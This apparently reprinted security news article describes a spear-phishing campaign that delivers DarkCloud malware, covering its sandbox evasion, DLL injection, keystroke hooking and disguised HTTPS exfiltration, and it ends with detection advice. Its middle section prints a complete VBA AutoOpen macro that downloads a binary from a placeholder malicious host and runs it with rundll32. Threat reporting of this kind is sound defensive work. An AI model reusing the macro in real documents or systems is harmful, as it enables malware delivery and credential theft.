New Spear-Phishing Attack Delivers DarkCloud Malware to Steal Keystrokes, FTP Credentials and Others

A recent spear-phishing campaign has been identified, utilizing advanced social engineering techniques to disseminate DarkCloud , a modular malware designed for keystroke logging, FTP credential extraction, and system information gathering.

In the past month, emails impersonating legitimate software updates or corporate invoices have been sent to various industries. These emails contain a malicious Microsoft Word attachment that initiates a multi-stage infection upon opening.

Once macros are enabled, a hidden VBA script executes, connecting to a command-and-control server to download the subsequent payload. The DarkCloud loader unpacks additional modules directly into memory, bypassing disk-based detection and complicating forensic efforts.

Security researchers have observed that the loader evaluates virtual machine artifacts and sandboxing environments, delaying or aborting execution if analysis tools are identified.

The malware injects a dynamic-link library into processes such as explorer.exe and svchost.exe , capturing user input through keystroke API hooks. The collected data is encrypted with a custom XOR-based algorithm and transmitted to the command-and-control infrastructure disguised as legitimate HTTPS traffic.

Infection Mechanism and Loader Dynamics

The infection sequence begins with a document containing an obfuscated VBA macro. Upon activation, the macro executes the following sequence:

Sub AutoOpen() Dim xmlHttp As Object Set xmlHttp = CreateObject("MSXML2.XMLHTTP") xmlHttp.Open "GET", "https://malicious.example.com/loader.bin", False xmlHttp.send Dim shell As Object Set shell = CreateObject("WScript.Shell") Dim tempPath As String tempPath = Environ("TEMP") & "\dcl.dll" With CreateObject("ADODB.Stream") .Type = 1 .Open .Write xmlHttp.responseBody .SaveToFile tempPath, 2 .Close End With shell.Run "rundll32.exe " & tempPath & ",EntryPoint" End Sub

Once dcl.dll is loaded, it unpacks additional modules in memory. The loader employs a custom "chunked XOR" routine to decrypt embedded payloads, avoiding the creation of executables on disk.

This memory-resident design ensures persistence via a registry run key, while the modular architecture allows on-demand deployment of new capabilities. Security teams are advised to monitor unusual HTTPS sessions to unknown hosts and utilize behavioral analysis tools to detect API hook injections.

Based on reporting by Cyber Security News.